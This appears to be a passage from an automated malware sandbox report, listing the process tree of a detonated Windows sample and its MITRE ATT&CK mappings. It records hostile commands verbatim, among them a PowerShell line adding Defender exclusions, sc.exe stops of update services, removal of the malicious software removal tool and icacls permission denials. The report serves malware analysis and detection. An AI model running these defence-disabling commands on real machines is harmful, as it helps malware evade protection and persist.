C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1168 -ip 1168
1⤵
PID:3604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1168 -ip 1168
1⤵
PID:4636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1168 -ip 1168
1⤵
PID:968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4440 -ip 4440
1⤵
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1168 -ip 1168
1⤵
PID:5100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1168 -ip 1168
1⤵
PID:3848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1168 -ip 1168
1⤵
PID:5028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1168 -ip 1168
1⤵
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1168 -ip 1168
1⤵
PID:3532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1168 -ip 1168
1⤵
PID:1256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1168 -ip 1168
1⤵
PID:5040

C:\Users\Admin\AppData\Local\Temp\BC3B.exe
C:\Users\Admin\AppData\Local\Temp\BC3B.exe
1⤵
PID:5056
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1168 -ip 1168
1⤵
PID:4776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1168 -ip 1168
1⤵
PID:1808

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3952

C:\Users\Admin\AppData\Local\Temp\CA85.exe
C:\Users\Admin\AppData\Local\Temp\CA85.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
PID:4056
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\Users\Admin\AppData\Local\b0ab8daf-bfeb-4b59-ae20-9db51ac7eedd" /deny *S-1-1-0:(OI)(CI)(DE,DC)
  2⤵
  - Modifies file permissions
  PID:5088
- C:\Users\Admin\AppData\Local\Temp\CA85.exe
  "C:\Users\Admin\AppData\Local\Temp\CA85.exe" --Admin IsNotAutoStart IsNotTask
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:512
- - C:\Users\Admin\AppData\Local\Temp\CA85.exe
    "C:\Users\Admin\AppData\Local\Temp\CA85.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    PID:4988
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 568
      4⤵
      Program crash
      PID:4724

C:\Users\Admin\AppData\Local\Temp\CA85.exe
C:\Users\Admin\AppData\Local\Temp\CA85.exe
1⤵
PID:2360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4988 -ip 4988
1⤵
PID:412

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Suspicious behavior: MapViewOfSection
PID:5056

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:3064
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:1724
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2940
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:2344
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:3380
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:4656
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:1004
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2096
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3592
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Executes dropped EXE
  - Launches sc.exe
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2732
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5100
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2000

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3472

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
1⤵
PID:4116

C:\Users\Admin\AppData\Local\Temp\E2FF.exe
C:\Users\Admin\AppData\Local\Temp\E2FF.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1256
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:3156

C:\Users\Admin\AppData\Local\Temp\E9B7.exe
C:\Users\Admin\AppData\Local\Temp\E9B7.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3368
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Loads dropped DLL
  - Checks processor information in registry
  PID:348
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:3976

C:\Users\Admin\AppData\Local\Temp\43EE.exe
C:\Users\Admin\AppData\Local\Temp\43EE.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1392
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
  2⤵
  PID:4132
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
    work.exe -priverdD
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:852
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:4968

C:\Users\Admin\AppData\Local\Temp\5EE9.exe
C:\Users\Admin\AppData\Local\Temp\5EE9.exe
1⤵
- Executes dropped EXE
PID:1004
- C:\Users\Admin\AppData\Local\Temp\onefile_1004_133507481729766842\stub.exe
  C:\Users\Admin\AppData\Local\Temp\5EE9.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:1524

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:2396

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1168 -ip 1168
1⤵
PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1168 -ip 1168
1⤵
PID:3336

C:\Users\Admin\AppData\Roaming\ajabbsc
C:\Users\Admin\AppData\Roaming\ajabbsc
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1168 -ip 1168
1⤵
PID:1524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1168 -ip 1168
1⤵
PID:4256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1168 -ip 1168
1⤵
PID:4220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1168 -ip 1168
1⤵
PID:1192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1168 -ip 1168
1⤵
PID:1552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1168 -ip 1168
1⤵
PID:4968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1168 -ip 1168
1⤵
PID:2012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4928 -ip 4928
1⤵
PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4928 -ip 4928
1⤵
PID:3060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4928 -ip 4928
1⤵
PID:4596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4928 -ip 4928
1⤵
PID:1528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4928 -ip 4928
1⤵
PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4928 -ip 4928
1⤵
PID:2424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4928 -ip 4928
1⤵
PID:3620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4928 -ip 4928
1⤵
PID:2668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4928 -ip 4928
1⤵
PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery